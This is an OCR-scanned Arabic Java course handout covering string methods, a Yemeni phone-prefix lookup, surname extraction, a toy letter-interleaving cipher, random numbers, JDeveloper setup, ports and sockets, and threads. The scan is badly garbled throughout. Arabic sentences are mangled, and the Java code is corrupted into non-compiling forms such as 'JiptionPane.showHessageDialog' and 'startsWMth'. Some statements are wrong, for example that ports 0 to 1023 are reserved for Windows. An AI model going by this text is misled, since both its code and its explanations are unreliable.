Java 


Netbeans 


الدوال الجاهزة 


رفني 
Length‏ لإججاد طول النص. 
Charat‏ 


تستخدم لفحص بداية نص معن وتعید 1۲16 إذا کان صحيح و ٥اه۴‏ إذا كان خطاء. 


0+ 


تعید 1۲€ إذا کان صحیح ر ۶€اھ۴ إذا کان خطاء. 
Contiants‏ 

تستخدم لقص حرف واحد في سلسلة نصية الى داخل مصفوفة. 

تستخدم لتنظيف أو مسح الفراغات الموجودة على جوانب النص. 

۴ | لإظھار رقم موقع ارف الدخل فیا 

تدسخ محنويات مصفوفة الى متغير من نوع .5]٣| ٣8‏ 


مغال : 
أكتب برنامج يقوم الستخدم يادخال رقم الهاتف ويقوم بإظهار نوع الهاتف والشركة الخاصة به ؟ 


هنا يقوم المستخدم بإدخال اكا فک کے 
رقم الهاتف المراد معرفة 
نو عه والشركة الخاصة به 

رفم الهاتد: | FTFFO5122‏ 


وهنا يظهر النوع الهاتف _ نوع الهنف: Mobile‏ | 


Yemen Mobile ترقة الانسالات:‎ © 


والشركة الخاصة به jJBurtton1‏ 


والکود التالی یکتب داخل ٤٥۸1‏ ں J8‏ في حدث الماوس كلیك 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هيم فكري عبد الرقيب العواضي ماهر عبد الرهن 


قمنا بتعریف متغیر من نو ع 5)۲8 
والقيمة المسندة له هي البيانات التي 
داخحل !لÎدlة .JtextFie|d1‏ 


| 
نقوم بالتأكد وفحص قيمة المنغير فإذا كان string No = TextFieldl.getText ll);‏ 


nrivate vold JFutton1MouseCl1icked ( j ava. aut. Went. HouseEvent evI | 


للمتغير النصي فاذا تساوى مع العدد 7 فنظهر رسالة بأنه 


f RtAETSVWItEA 8‏ 
رقم موبایل. والإ فانه تلفون ثابت. 


if (lo.startsWMth("'732")) 
1b1Comp.setText ( "HTH" 2 TTT TOT 
| eıse if (Ho.startsWith("71")) XX E r 
lbl1Comp.setText ( "SabaPhone") ; اا بأن نوع الشركة هي يمن‎ €٥p 
else if (lo.startsWith("77") | موبايل وهكذا نفس الكود لبقية الش ر كات.‎ 
IBID. SEtText ( "Temen Hobilê"); : 
êlsê if (No.startsWith("70")} j 
1b1Comp. setText ("Thy") 
| êlsê [1 
JiptionPane. showHessageDialog ([mû1 , "Yronag number") ; 


1 
طوله أكثر من 3 فينفذ ما الأسطر التالية |{ )3 if (No.length()jz=‏ 2 
وإلا يعود إلى السطر (17) لتنفیذ ال‌‌ائع rIetharÃit ١‏ 3 
وإظهار رسالة إلى المستخدم بالتأكد من 4 
if (No.charAt (0) =='7' j EEE‏ 4 
lblType.setTexkt ( Mobile") ; _—_‏ 5 
عند تحقق الشرط نقوم بفحص التغير ۸0 عن طريق alge‏ 6 
الدالة C14۲۸)0(‏ والتي تقوم بفحص أول حرف ; 1bI1Type.setText ("Home")‏ 7 
8 
9 


HITHAM ALANYADY | 
ALAWADY 


هنا يتم وضع الاسم مع اللقب على إن لا 
DR E A EE‏ 


والکود التالی یکتب داخل ۸1٥٤]ں J8‏ في حدث الماوس كليك 


ırivate vold JButtonlHouseCl1cked( java. awt. event. MouseEvent evL) { 
sLrIing Hame = TextFieldl.getTexkL | | ; نفحص النغير 4۳۴ل فإاذا بحتوي على‎ 
if (Name.contains |" "|| {| &_,_,_ > فراغ نفذ السطر (3) والإ يذهب إلى س‎ 
int Start = Haue.indexDf(" "j + 1; عاء٥ السطر (9) لتفيذ ال‎ 
char ary[| | = new char [2U |; EE E EE 
Name. gqeLChars | SLart, Hame. lengthil j ,ary,lÛ) ; 6هل ويبدء من الفرا غ أي بعد الاسم‎ 
string Lame = ""; لأن الاسم مكون من الاسم واللقب فقط‎ 
LName = LName.copyValueOf lary) .triml) ; .1 + حيث سيبدء من الفراغ بعد الاسم‎ 
1Labell.setText | LNaAMmE | ; 
} else 
JUptionPane . showHessageDlialog null, "Ilo Last Mame") ; 


نقوم باستخدام الدالة ٣3٣‏ )٣ع‏ لنقص 
حرف للمتغير S8٣‏ من الخغير Name‏ 


نسند قيمة للمتغير Lname‏ وبأستخدام 
الدالة e٥۴‏ uاھ۷۷مp٥C‏ والتی تقوم بنسخ 


ونضعه ني المصفوفة في الموقع صفر (×عل١!)‏ 
أي أول عنصر. كما درسنا سابقا بأن أول 


حتويات المصفوفة إلى المحغير من 1٠۵۳۴‏ مع 
مسح الفراغات الموجودة بداية وهاية المتغيرء 
وإظهار المتغير في الأداة ٥|1‏ طهال. 


مغال آخر: 
أكتب برنامج يقوم فيه المستخدم يادخال الاسم الرباعي ويقوم باقتصاص اللقب من الاسم ويضعه في كائن من نوع 


while jyi index of j:قيرطبو‎ Jلاabeا‎ 
شكل البرنامج‎ 


الاسم تادا 
نستطيع كتابة هذ1 البرنامج بطريقتين : 
الأرلى: o‏ 
| 
الثانية: : 
IndexOf‏ 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هيم فكري عبد الرقيب العواضي ماهر عبد الرهن 


متغير من نوع String‏ وقيمته من الأداة t×€ال‏ 


لکو ص بزر index of‏ یکتبها | خخدم قبل وبعد كتابة الاسم الرباعي. 


grivate volid JButton?MouseClicked| ava. aut. event. HouseEvent ewt) f 
String n=jTextFieldl.getText (j .trimil ) ;: Tees 
if ([n.contains(" ") ) التالية» وال ي يذهب إلى السطرر7)‎ ê نفك‎ 
int a=n.1astIndexOf (" "|2 وتنفيذ ال ها٤ وإظهار رسالة بأنه بيجب كتابة‎ 
string Lname=n. substring | 3) ;: اللقب.‎ 
ALabel3.setText (Lname) ; نعرف منغير 5Sمن نوع رقمي» ونسند له قيمة المتغر‎ 
|اءهاتبحث عن آخر‎ ٣ل‎ ٥۴×0۴ والدالة‎ ١ اللصى‎ 


7 


دم لم پں ظط ل © لاہ نھ ف 


فراغ في السلسلة النصية وتعيد رقم الموقع للفراغ " “ 
وتعیده قيمة للمتغير 5. 
JUption Pane . ShowiessageDialog InNuLl1, "Enter The Last Name");‏ 


نقوم بتعريف متغير 1038 من نوع 5٣٣8‏ نص ونسند له قيمة والتي هي 
عبارة عن اقتصاص نص من السلسلة النصية ٣١‏ رنقص منها قيمة المتغير 8 والذي 
قد ذكرنا سابقا بأنه آخر فراغ في السلسلة النصية. 

نقوم ياظهار قيمة المغير N4 "٠‏ |[ في الأداة 13( هالأي اقتصاص اللقب. 


الكود الخاص بزر while‏ | 


grivalte vold ]JButtonIlHouseClicked | Java. aut. event. HouseEvent evt) [‏ 
String n=} TextFiceldl. getText (| |. tFÎMÎ ) j‏ 
ا Sقيمتە1- N.Lenght‏ ولîن‏ ۱ ي [ ))" if (n.contains("‏ 
تبدا الترم ا 0 int s=n.1ength( j-1; E‏ 
الواحد. ولنفترض ان النص عبارة عن 0 حر [ }' "= ! while (n.charRt (s3)‏ 
Length‏ ترقم من 1 إلى 20 . iı‏ ئة CharAt‏ 
تبدأ بالترقيم من 0 إلى 19 أي عشرين حرف» لذا نساوي 
ينهم وننقص من المتغير ل واحد ليصبح طول المتغير 19 
ویتساوی CharAt ga‏ 19. 


SEEinNnE Lnamêe=n . SubSTÙFINMGg | 
1LabeEl3 . Set Text (| LnamıÊ ) F 


دم لم پں ظط یل © لہ نھ ف 


ی ا ا ی ا ا ا ا ر جملة دوران وشرطها أن يظل يقتص من النغير 5 من هاية 
واحد في كل دورة من الدوران حتى يتحقق الشرط وتنوقف الجملة عن الاسم الرباعي حرف في كل دورة من فاية الاسم كاملا إلى 
الدوران عند وجود فراغ في النهاية أي اقتصاص للقب في فاية أن تصبح قيمة المنغير Sمساوية‏ للفراغ وبذلك يقتص 


السلسلة النصية. تم نقوم بتنقيص قيمة المتغير 5 لتصبح طول المتغير ل١ E‏ 
-1 وهکذا يقتص حت جد فراغ ويتوقف عن الدوران. 
نظهر قيمة المنغير ۳"٠‏ هم اف الأداة 3ا#طهال. 


هناك طرق عدة طرق للتشفير وسنقوم هنا بالدشفير بطريقة الزقاق وطريقة عملها كالأن: 

فمغلاً لو لدينا نص مكون من ستة أحرف "هاه فأما أولاً تقوم بتجزئة النص إلى نصفين فيصبح الجزء الأول مكون من 
(51) والجحزء الثا مكون من باقي النص «.عع). 

ثم نقوم بأخذ أول حرف من الجزء الأول ونأخذ أول حرف من الجزء الاي لتكون (ه5). 

وأخذ الحرف الغا من الجزء الأول والحرف الغا من الحزء الاي لتكون (6ه). 

ونأخذ الحرف الفالث من الجزء الأول والحرف الالث من الجزء التاي لتكون («ها). 

ونجمع الأجزاء مع بعض ليصبح النص مشفر كالتالي «اع#ةم؟). 

ولفك الدشفير للنص 2٥1٣‏ ع5) نقوم بأخذ أول حرف في النص ونضعه في منغير ۴1 ونأخذ ثا حرف ونضعه في متغير آخر 
2. ونأخذ ثالث حرف ونضعه في المنغير الأول ۴1 ونأخذ رابع حرف ونضعه في المتغير ۲2 وهكذا لبقية الأحرف. 

وللتوضيح : النص ("1٥2ع5)‏ كما شرحنا آنه نأخذ أول وثالث وخامس حرف من النص ونضعهم في النغير ۴1 » نأخذ 
الحروف الثاي والرابع والسادس في المتغير ۴2. 

فيصبح التغير ۴1 = أه؟) رالمغر ۲۴2 = «عع) ثم نقوم بدمجهم ليصبح النص ٥ه‏ ا5a)‏ وبذلك قمنا بفك التشفير 
للنص, 

ملاحظة: 

يجب أن يكون النص يقبل القسمة على 2 وبدون باقي أي يكون عدد زوجي وني حالة كان النص لا يقبل القسمة على 2 أي 
عدد فردي فأننا نقوم ياضافة أي رمز ليصبح عدد زوجي ونستطيع القيام بعملية التشفير للنص. 


مغال: 


قم بکتابة برنامج يقوم بتشفير نص في الأداة [6×٤1‏ وإظهار النص المشفر في الأداة 6×2ل » وكذلك بفك التشفير 
وعرض النص المشفر في الأداة 3×ع ل ؟ 


شكل البرنامج 


HITHAM |  ةملقلا‎ 

القلمة بعد النشفعو _ | HHIATM‏ 

القلمة بعد فك الشفرة HITHAN | ٠‏ 
قك اتنشفدر س 


إعداد الطالبان : تحن إشراف الأساة: 


سليم شرف ناجي الشميري - هينم فكري عبد الرقيب العواضي ماهر عبد الرهن 


تعريف منغير 1 ليأخذ النص المدخحل في الأداة 1٤×6ل‏ من قبل 


الكود الشف المستخدم ويضعها في المتغير. 
نسفدز ۴ 


private vold 73ButtonlMouseClicked/l java. ayt.event. MouseEvent evLI 1‏ 
الأسطر (2و3) تقوم بفحص التغير فإذا كان يتجزء إلى جزئين كما ; SLEINnY T= TexLFlieldl. geLTexlt i)‏ 
شر حنا سابقا فنقوم اك دة اط دا 0 ا 1FIT.Llengthi) %2 !=Û0)‏ 
جزئين فأننا نقوم ياضافة أي عنصر أو رمز كالرمز (.) إلى المتغير حتق ي I=.‏ 
تصبح عدد حروف النغير مساوية لعدد زوجي لتقبل القسمة إلى العدد 2 ;#2 int m=T.lengthl)‏ 
بدون باقي وعندها نستطيع الدشفير. ; String pl=T.substring(0,ml)‏ 


Ss LEing pPa2=T. substring IM) ; N : 1‏ 
الط زی ف مذ لح ء النص اأ جزئن للعشة | 
(۳) تعر متعر ۶ ا جر دں 3 £ """"= StEEiNE code‏ 


for lint i=ÛU;im;i1+4+} 1 | ٠ 
code=code+p1. charRt (i) +p32.charRNi ) ; السطر (5) تعريف متغير 1ونسند له قيمة ونقنتص من المتغر‎ 
¬ gle = p1. p2. E 


EE SCOT‏ ل 
ا من النصف إلى النهاية. ; JTextField-2. seLText [code‏ 
السطر (7) تعريف متغير 00d‏ لتشفير النص داخله. ##JUpLIonPane. sahowMessageDlialog Inula‏ 
السطر (8) جلة دوران وتبدأ من الصفر إلى فاية المتغير ١‏ } 
السطر (9) ونقوم بأخذ أول حرف من المنغير۴1 وأول حرف 
من التغير ۴2 ونضعهم في المتغير C0 d٥‏ وتستمر عملية 
الدوران ونأخذ ثاب حرف من المحزء الأول وثاي حرف من 
الجزء الثاي ونضعهم ي المخغير Cd٥‏ وهكذا 
a‏ | الكود فك التشفير قك النشف 
السطر (11) إظهار النص المشفر في الأداة2ا×ع )ل . 


ırivate vold JButton2HouseCl1ckedl java. dwt. event. MouseEvent ev) 
2 الأسطر (4ر5) جلة الدوران وتبدأ من الصفر أي من (أول‎ 
dLEINY T = JTextFlieldi.geLText | | ; ERE 
م‎ 1 1 ١ حرف) وشرطها أكبر من طول النص المشفر على أن تكون‎ 
dLEINg pl = '"; مقدار الزيادة مرتين ر(لاذ) ليأخذ أول حرف من النص المشفر‎ 
String pa = ""; وثالث حرف وخامس حرف لأن الا تزداد عقدارين حيث يتم‎ 
for | int i = Û ; i < 7.legth||; +2° _ طرف الث رمكلا رت‎ E E 
قيمة المنغ الحروف ا١ القالث وال ت حا‎ 
p1 = p1 + T.charAt li); e 
for | int i = l1 ; 1 £ T.lengthl) ; 1i+=2| الأسطر (6ر7) جلة الدوران تبدأ من الواحد أي من رثاي‎ 
"2 = p3 + T.charAt li); حرف) وشرطها أكبر من طول النص المشفر وعلى أن تكون‎ 
٠ قدار الزيادة مرتين حن يأخذ الى ف الثاين م النص المشة‎ 
jTextField3.setText (pl+p3) ; N aC e EA E 
ويتجاهل الحرف الثالث ويأخذ الحرف الرابع ويتجاهل الحرف‎ 
SLEING A = JTextFieldli.gqetTextl |; 
1f | A.endsWMthl".' | | 


(۲2 الخامس ويأخذ الحرف السادس. وتصبح قيمة المغير‎ 
jJTextField3., setText (A. suþstrIng IU, A. 1n 


1 
2 
3 
4 
5 
6 
7 
8 
9 


الأسطر (1ر2ر3) نعرف التغير 1 ويأخذ قيمته من الأداة 2ا×٥ال‏ 
النص المشفر, ونعرف المنغيرين ۴1,۲2. 
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در لم پں طب ل © لد 00 


الحروف الثاين والرابع والسادس. كما شرحنا سابقا. 


السطر (8) ثم نظهر في الأداة 3×عال 
المتغيرين ۴1,۴2 وندجهم. السطر (9) نعرف متغير من نوع 5٣١٣8‏ ليأخذ النص الذي تم فك شفرته والتأكد من أنه لا يوجد 
رمز قمنا ياضافته ليصبح النص قابل للقسمة على 2 بدون باقي. 
السطر (10) إذا كان النص ينتهي بالرمز الذي قمنا ياضافته (.)» نقوم باقتصاص الرمز من فاية النص 


الذي قمنا بفك شفرته في الأداة 3× الث نقوم ياظهار النص بعد قص الرمز ليصبح لص صح 
وكاملاً بدون أي إضافات كما هو موضح في المثال. 


/ 


تقوم بتوليد أرقام عشوائية أو قيم وتولد كذلك أُما مں٣۲‏ أر عءاه۴. 


مغال : 

- قم بكتابة برنامج يقوم بتوليد أرقام عشوائية في رسالة 1655388 على أن تكون الأرقام من الواحد إلى العشرين؟ 

- أكدب برنامج لإضافة مائة رقم عشوائي إلى مصفوفة من نوع ٤زط0‏ م عرض متويات هذه المصفوفة إلى كائن من 
نوع J|is180×1؟‏ 


SE 


Message 


اختیاز رقم عشوائی واحد 


کرد ارس ۷12٠28‏ 
1 


2 | privalLe vold JButLon lMouseClickedl java. awt. event. MouseEvent evL) { 
Random xX=new Random | ; 
JIptionPane . showHessageDialog null, '"'"'"+.nextIntI/LOD) ); 


السطر (1) قمنا بتعريف متغير من نوع عشوائي. 

السطر (2) ۲١۸1ع‏ تولد أرقام والقوس الذي بعده نحدد فيه 
نطاق الأرقام العشوائية التي سظهر للمستخدم وعلى حسب الرقم 
الموضوع داخل القوس » وإذا م نكتب الأقواس أو قيمة فأن الدالة 


ملاحظة: 
NextBoolean‏ تقوم بتولید False jİ True lÎ‏ . 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هينم فكري عبد الرقيب العواضي ماهر عبد الرهن 


كود الإضافة إلى 1اءأال 


private vold JBuLton2HouseClickedi Java. awL. event. HouseEvent evVLI [ 
MbjeEcCtE[ ] ary =new lbject[lUU J]? a reee | 
: e ز فة م ز‎ 

Fandom x=new Random | ; ن‎ Et 5 

السطر (2) نعرف متغير من نوع عشوائي ۸4۸40٣١‏ . 
الأسطر (3و4) جلة الدوران تبداً من الصفر وتنتهي ل 100 
ونسند قيم للمصفوفة على أن تكون أرقام عشوائية نسبة إلى ; )100( ary[i]=x.nextInt‏ 
1L1Is8tl.seLLIsTDatalary|) ; . Nextint‏ 


السطر (5) إظهار قيم المصفوفة الى الكائن اءال. 


JDeveloper 


الجافا هي برنامج معالجة اللصوص لشركة أوراكل. 


for IInt 1=U;1<1lUU0;1++| 


در لم پس ظط ی 


Application |g (Client 
Server R 


N 


تقوم شر كة أوراكل بالاشتراك مع شركة 510١‏ تقوم بصنع جهاز ١58۲۷6خاص‏ بالأوراكل فقط ولا نستطيع تحميل 
أي برامج فيه وهو مصمم فقط لقاعدة بيانات أوراكل وكذلك لتطبيقات الأوراكل. 
حيث قاعدة البيانات تكون في جهاز سيرفر والأجهزة ال ٣‏ اح تأخذ البيانات من تطبيقات السيرفر والقي بدورها 
تقوم بالتواصل مع قاعدة البيانات للسيرفر وأخذ البيانات المطلوبة. 
ولفتح e۲‏ م٥‏ اع ع J0‏ نقوم بالآن: 
من كافة البرامج نذهب إلى 
Oracle Developer Suit - OraDB10g_Home2 ==> JDeveloper ==> J Developer‏ 
رلفهم ٣‏ عم اع ۷ع J(0‏ يجب فهم أربعة مصطلحات: 
.WorkSpaces .1‏ 
.Project .2‏ 
.Application .3‏ 
Frame .4‏ . 


Client 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هينم فكري عبد الرقيب العواضي ماهر عبد الرهن 


ال ces‏ aمWorkS‏ حاوية للمشروعات وني نفس الوقت یکون بداخله أکثر من مشروع. 


Application 
وهو يواري‎ 
الكر س الرئيسى و‎ 

فى الجافا e‏ 


Project 
3 


لإظهار واجهة التطبيقات نضغط بالیمبن على E0٣‏ اللا <= Frame‏ 

رال الا تعني User Interface‏ . 

نطبق على هم ٥1ع۷٥(J‏ نفس الأمثلة التي درسناها في الجافا ك. 3٥۲8ع"‏ في الترم الأول. 

ملاحظة: 

مکاتب الربط فی ٣٥م‏ ٥اعا J0٥‏ یجب أن نستدعیھا کلھاء أم NetBeans g‏ فأن المعا ج يقوم باستدعائها مباشرة 

ولكن ليس كافة المكاتب أغا يستدعى بعض المكاتب المستخدمة كثيرا. 

مغال: مكتبة الربط الخاصة بالرسائل فيجب أن نكتبها في قسم الجنرال الخاص باستدعاء مكاتب الربط 
Import  Javax.Swing.JoptionPane;‏ 

هنا سنشرح طريقة عمل ال ۲٣عم0ام۷مJ0‏ 


qı Oraclei JDeveloper 

Lil Edt Search wie Project Eun Debug Model Tools YWîndowy Help 5 
EHA KEE RRM E mB #I BE HM mB 
| 3 welcome html 


xSystem - Navigator ap : ۴ : e 
. = îı Cîoracle_Devproduct10.1.01Db_fjdewdocuyelcomeyelcome.html 


mam mm 
î Wprkspaces 5 1-1 ا‎ =F 3 ا‎ trmled:i:foracle_Deviproductî 0.1 DDb_1 HE YHOCRYEICOmEYElcOrE tril اا‎ E 
پک‎ 


E LonnEctiors: 


ORACLE 


JDeveloper 


| | 
١ 


Product Features | 


ûracleSi JDeveloper ا ا ا‎ 
Draclet JDeveloper is a JZEE Mfevelop ment environment with end-to-end Support for developing, deEbUAAiNnA, and deploying e-business applications 


wyelCorne htir - SEFUCILFE and web services. 


$ #* HTML Structure JDeveloper provides a comprehensive set of integrated IO0ls to Support the cormplete Heveloprment lifecycle, beginning with Source control and leading 
through UML modeling, coding, dEbUAQAiNG, testing, profiling, and deploying. JOBveloper sirmplifies JZEE {eveloprment bY providing wizards, Editors, visual 
design tools, and deployment tools to create high-quality, standard JZEE cormponents, including applets, JavaBeans, JavaServer Pages ISP}, servlets, 
and Enterprise JavaBeans {EJB}. The Uracle Business Components fOr Jaya (BEA) framework further simplifies delivering enterprise applications that 


adhere lo the Model YWiew-Eontroller architecture by generating functional business cormponents that implement JZEE design patterns. 


Getting Started a. I Se ۰ 
lIsers to Oracle JDeveloper can quickly becaorme familiar with the tool by watching the online dermaonstrations available on the Oracle Technology 
Hatwork OTM. These demonstrations include topics for new uUSErS to become familiar with the overall IDE, advanced topics for profiling and 
deployment, and feature specific topics such as web services and UML modeling. The wide range of topics ensure there is something for every level of 
developer. 


GracleSi JDeyelopear Handbook 
Frormn Oracle Press hooks, Oracledi JDeveloper Handbook McGraw-Hill, ISEN: UOFAZZAIB4 T7) explains howto design, debUg, and deploy JZEE 


| Eating 


yate - Navigator 2 Lîoracle Dey 
£ wg LOT: ست‎ 
TFN 9Q £2 t3- 


Workspaces MD 4# + ° @‏ س 
E Connertions Mey YygrkSpACE...‏ 
E... trl!‏ 11 


Make Yyorkspaces Ctrl+Shifl+F3 Workspacesةnl‎ JE نضغط باليمين‎ 
Rebuild Workspaces Alt+ShifteF F New Workspaces راiëiy‎ 


چ 
New Workspace‏ 


Directory Name: 


Yorkspace Mame: Workspaces تار الان‎ 


WorkspazEeî : :‏ 
واسم 2٥€‏ مء Wr)‏ م نضغط على الزر موافق 


Add a Ney Empty Project ieee 


New Projecî 


Directory Marre: 


واسم للمشروع ثم نضغط على الزر موافق 


ayer - aviator 


J YYorkspaces 

oF SpACE Î js‏ .م 
a ml Projact1jpr‏ 
E woannections‏ 


سنلاحظ آنه # إiشlء Workspaces‏ 
وكذلك مشرو ع باسم ۴۴٥۵٤٤1‏ » وکما ذکرنا 


سابقا فأن الوع٤‏ ۵ مء )ه۷ قد غنوي على 
أكثر من مشروع 


OracleSi JDevelope 
Wracle# JDeveloper IS5 2 
and web SErYicES. 


JDeveloper provides 2ã EC 


إعداد الطالبان : ین هزاف الا اة 


سليم شرف ناجي الشميري - هينم فكري عبد الرقيب العواضي ماهر عبد الرهن 


ay aterm - Navigator 
A E ا‎ 

TE FH 3 

a WYorkspAaCES 


a. oF SpACE Î jS : : 
“O EEE نضغط باليمين على كلمة 1ا٤ € ز۴۲0‎ 


d lb Connections E] New Java Class... New UML Diagram... تر‎ 
MEY IML Diagrarn... | 


Mew Business Lomponerts Package... 


ê: Cîoracle_Deviprodu 


| ت‎ e ا‎ WD) Hmled: 


a EH HE‏ کا 
B= ha YT HEH‏ 
ü‏ د B=‏ 


5 Mev... Ltrl+! 
i Make Project .jpr wtrl+F4 
e Rebuild Project’ .jpar At+F 3 


tenerate Javadoc‏ م 
E Run Project .jfar‏ 
a Debug Project .jfpr‏ 
Project SetiNQAS...‏ 8 


tı Hevy 


تم ستظهر الشاشة التالية وتار منها الشجرة 
الرئيسية ۲٥١‏ ٣اا‏ والفرع 


Lategories: 

ll eneral swing /AWT 
وت‎ 7 Frame !ر‎ Items: —dI نم تار من‎ 
p2 
î onnEctiona 1 ا‎ E 
: ّ Leplayrmnert Descriptors لزر مواق‎ 3 


DLEeployriert Profilez RE‏ ج 
“Simple Files l&jl Java Yb Start (JNLP] Files‏ 
UML Diagrariz l_ | Panel‏ و 
٠ 2 Eb SEFYIGES‏ 
8ا e‏ 
Buszinesza IntelifENZCE‏ ج 
"Business Tier‏ 
Llient Tier‏ 
JavaBeans‏ کک 
gg wing EYT‏ 
a SwingJClient for BCA The SElEctEAH Herr:‏ 
“Oatabasze Tier pena the Mevv Frame Aialogd, which lets You afd a customized frame jaya file To YOUr‏ 
“eb TiEF project. The skeleton code for Your Hey frame can cortain a menu bar , a Ioolbar , a‏ 
atatuas bar, and an About box, depending on the options Yol select. lse the Lode Editor‏ 
lo HEYElDp Your frame class= and the Ll Editor to lay out panels for the frame.‏ 


E 


+ 


Toa Enable this option, you muz seller a project or a Tile within a project in the Hawvigalor . 


New Frame 5| 
- ف‎ 


hat are the Hetails of Your ney clazz? 


تظهر الشاشة التالية وهى خاصة ببيانات الفورم 


Frame رعسى‎ 


وفيها مطلوب أسم الفورم واسم الحزمة. 


هنا نقوم بكتابة عنوان للفورم في التكست 
بوکس. 

أما بالنسبة للأزرار الأربعة الخاصة بالتشيك 
بوکس وفیها نحدد هل نرید إنشاء شريط 
للقوائم وكذلك شربط للأدوات وشربط | [I About Box‏ 
الحالة ثم نضغط موافق. 


Ll Merny Bar 


Ll Tool Gar 


[| Status Bar 


12 


Ê Ûraclai JUaveloper - Yorks pacuî ,jws ; Prajmil1, jur 


-l FI ST Mr FA Fn Lh Mrrl ok rra. Hr 
EMRÊ OA KES REN BE 23# HEHE BH wm 
Fre r mms E ME RFR HT E mE EER IAL 


1F" f Fr, - [rra Fir rr ۸۹ 1‏ س س 8 : e = ۰ . ry e‏ ٹس 
د : لے 4 TE TT 3 ê Crorasle_Hetpra duct AUT MMR_ Tidal ira lconi Bw Blco me ,htuinl‏ 
r EE| HE 3| 2 :‏ 


= 
سے 


ES 0 gy Croracle Degpraduct10-1.Dh 1| Hemp orHANorkspacre1 Mra |errTsrc"mypacka qel! ame1 [ara EE E 7 >= 2F 


۳ 2 E rrr rfi: Rr 
= 1َ mr 3 1 
aT lee Û TPE 
و‎ a 


-rAAecl lin# 
E 


fa ala: 1,11 
e jı ml EEE 
ا : الفو‎ 
عه دیل‎ eT sareiFana fall 
ki rT 5 ا0‎ r4 
آکاراک ا أنا % 3 د‎ 1 “at IRF arin IF 
[asekar rt [ 


-““ 


î Hirr 


Eure ari.= 


Fr r? r Fr Bor kr, OratlrAl “rwmlnprr Handhr r 3 MRE AY FF Il, IER J ONT FRAT repli hme" aM, Irby, ahd dr [ ry 1?=F 


EE 


ğ: Cîoracle_ Deviproduct10.1.0Db_1jdevmyworkiNorkspaceProjecttisrcimypackageFr... 


1jpackage uypackagel ; 
Jarak . SvIinI. JTFEAME F7 
Jara. at. Diuen3zio0n?; 
Javax . Swing. JBUTEON? 


شکا شاشة الكود وکما نلاحظ وجود jara. aut. Rectangle;‏ 
بعض المكتبات. Fubþlic class Frauel extends JFrrane‏ 
نقوم بكتابة نفس البرامج الت قمنا بكتابتها ١‏ 
ا ٣ a‏ لتي private JEuttorn JBULTLONL = new JEuttonl j E es‏ 
داخل النت بيز سابقا والق درسناها › 
O OT‏ 
الخاصة بالجافا إذ بيجب كتابتها في 
ر jbInitt) ; JDeveloper‏ 


1 as 


} 


CcatchlExceEption FJ 


1 


E, printStackTrace l} ; 


% 111 | : 
Lime 1 Loalurmn 1 [Insert | Modified noma: LRILF 


إعداد الطالبان : تحت اقراف الأ ساد 
سليم شرف ناجي الشميري - هيثم فكري عبد الرقبب العواضي ماهر عبد الر هن 


Network 


بحتوي كل جهاز الكمبيوتر على 65,535 منفذ )۴٥٣(‏ والنافذ من 1023 - 0 خاصة بالويندوز. 

: Port 

عبارة عن منافذ وهية للانصال بالشبكة موجودة داخل كرت الشبكة تستخدم لتشغل البرامج داخل الشبكة في نفس الوقت 
وبكفاءة دون حصول تعارضات وهو رقم يرسل مع ال ا۴۸۸۷ لتحديد البرنامج المستقبل للرسالة في البرامج» مع العلم أن 
البورتات ضمن نظام التدشغيل عددها من 65535 - 0 ومن النافذ 1023 - 0 محجوزة للويندوز وما فوق ذلك يمكن 
استخدامه. 

:Socket 

هو إطار ترسل فيه البيانات مرفقة بعنوان جهاز الكمبيوتر (1۴) والبورت )۴0۴١(‏ لكي لا تضيع البيانات في حالة وجود أكثر 
من جهاز. 

: PROTCOL 

هو عبارة عن برنامج ۴۸۸۷ مضاف لل 1۴ للتعرف على الجهاز الهدف ويجمع بين أنظمة الدشغيل المختلفة. 


Unix 
Linux 


Win xp Win 
Tcp/lp 98 
Win 
E IP 
هو عبارة عن عنوان رقمي ييز كل جهاز عن الآخر. مثل (192.168.1.1) ویسمی ۴| وهو عام ويكون في الشبكات‎ 


الداخلية. 

: DNS (DOMIN NAME SERVER) 

وهو برنامج يقوم بتحويل العنوان المدخل باللغة الانجليزية مثل (۷ 1-٤.0600‏ ۷.6006//) إلى عنوان ۴| مثل 
(216.239.61.104) وهو ال ۴| الفعلى لجوجل. 

۰ :Data Input Stream 

وهي عبارة عن البيانات المستقبلة من الأجهزة الأخحرى للجهاز الهدف أو الجهاز الرئيسي وتسمى بنهر البيانات القادمة. 
:Server Socket‏ 


هو الجهاز السيرفر أو المتحكم ببقية الأجهزة ويقوم بفتح بورت فقط ولا يهتم بالأي بي (۴|) الخاصة بالاجهزة 
المتصلة. 


Server Socket 
(8000) 


طرق القراءة والكتابة من الشبكة: 

Data Input Stream. 

ويستخلم لاستقبال البيانات من الزبون إلى السيرفر وللإدخال إلى داخل جهاز الكمبيوتر. 
Print Stream.‏ 

وتستخدم للإخحراج (لإخراج التعليمات أو البيانات من السيرفر إلى الزبون). 


ملاحظة: 
يجب أن نستورد المكتبات الخاصة بالشبكة حينما نتعامل مع الشبكة ونقوم بكتابة مكاتب القراءة والكتابة عبر الشبكة عن طريق 
استيراد المكتبات وهي كما يلي: 
Import Java.net.”;‏ 
Import Java.io.”;‏ 


ملاحظة: 
جيع أوامر التعامل مع الشبكات يجب أن تعمل مع Ca‏ / ۷٣آ‏ . 


إعداد الطالبان : تحت اقراف الأ ساد 


سليم شرف ناجي الشميري - هيم فكري عبد الرقيب العواضي ماهر عبد الرهن 


Thread 


04عاطhآ:‏ هو الذي يحدد سير المهام المتجهة غو المعاخ. 
وهو نوعاں : 

1. Multi Thread Application. 
رتعني البراهج التي تنفد أكثر هن مهمة في نفس الوقت مفل : الألعاب.‎ 

2. Single Thread Application. 
وهي البرامج التي تنفذ المهام بشكل متسلسل أي تنتهي بالمهمة الأولى غ المهمة الثانية وهكذا.‎ 


أنواع ٠۴۵4‏ ۴٣آ‏ من حيث الاستخدام: 
Demo Thread.‏ .1 
وهي العمليات التي تتم بدون تدخل من المستخدم أي تتم عن طريق نظام التشغيل أو البرامج. 
User Thread.‏ .2 
وهي العمليات التي يقوم بها المستخدم. 


ملاحظة: 
هنالك أولويات لنفيذ ال "۲٠۴۵١4‏ وها خاصية وتأخذ من الرقم واحد إلى الرقم عشرة فقط. 
وهنا سنقوم بشرح بعض خصائص اThread—lı:‏ 

eT 


وهي لتحديد أولويات المهمة وكلما كان الرقم أكبر كانت الأولوية أعلى أي أن الرقم واحد هو الأقل 
